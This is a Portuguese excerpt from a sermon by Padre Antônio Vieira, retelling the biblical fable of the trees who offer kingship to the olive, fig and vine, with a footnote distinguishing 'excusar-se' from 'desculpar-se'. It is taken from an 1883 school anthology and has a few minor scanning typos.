Apólogo das árvores – excerto de sermão do Pe. Antônio Vieira

Apólogo das árvores

O primeiro apólogo que se escreveu no mundo (que é fábula com significação verdadeira) foi aquele que refere a sagrada Estou: no capítulo 9 dos Juizes. Quiseram, diz, as árvores fazer |tm rei que as governasse, e foram oferecer o govêrno à oliveira, a qual se excusou [1]), dizendo que não queria deixar o seu óleo, com que se ungem os homens e se alumiam os deuses. Ouvida a excusa, foram à figueira, e. também a figueira não quis aceitar, dizendo que os seus figos eram muito doces e que não queria deixar a sua doçura. Em terceiro lugar foram à vide, a qual disse que as suas ovas comidas, eram o sabor e, bebidas, a alegria do mundo; e a que tinham tão rico patrimônio, não lhe convinha deixá-lo para se meter em governes. De sorte que assim andava o govêrno universal das árvores, como de porta em porta, sem haver quem o quisessese. Mas o que noto nestas excusas é que tedas convieram em uma só razão, e a mesma, que era não querer cada uma deixar os seus frutos. E houve alguém que disse ou propusesse tal coisa a pelas árvores? Houve alguém que dissesse à oliveira que havia de deixar as suas azeitonas, nem à figueira os seus figos, nem à vide as suas uvas? Ninguém. Somente lhes disseram e propuseram que quisessem aceitar o govêrno. Pois, se isso foi só o que lhes disse- ram e ofereceram, e ninguém lhes falou em haverem de deixar os seus frutos, por que se excusam tôdas com os não quererem deixar? Porque entenderam, sem terem entendimento, que quem aceita o govêrno dos outros, só há-de tratar dêles e não de si: e que, se não deixa totalmente o interêsse, a conveniência, a utilidade e qualquer outro gênero de bem particular e próprio, não pode tratar do co­mum.

P. Antônio Vieira.

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.


[1] excusar-se e não desculpar-se…; muitos confundem êstes dois verbos que, entretanto, são muito diferentes. Desculpar-se quem alega razões que o justifiquem de alguma falta cometida ou de repreensão que lhe fazem; excusa-se quem alega razões para não aceitar o que se lhe pro- põe ou para não fazer o que se lhe pede.

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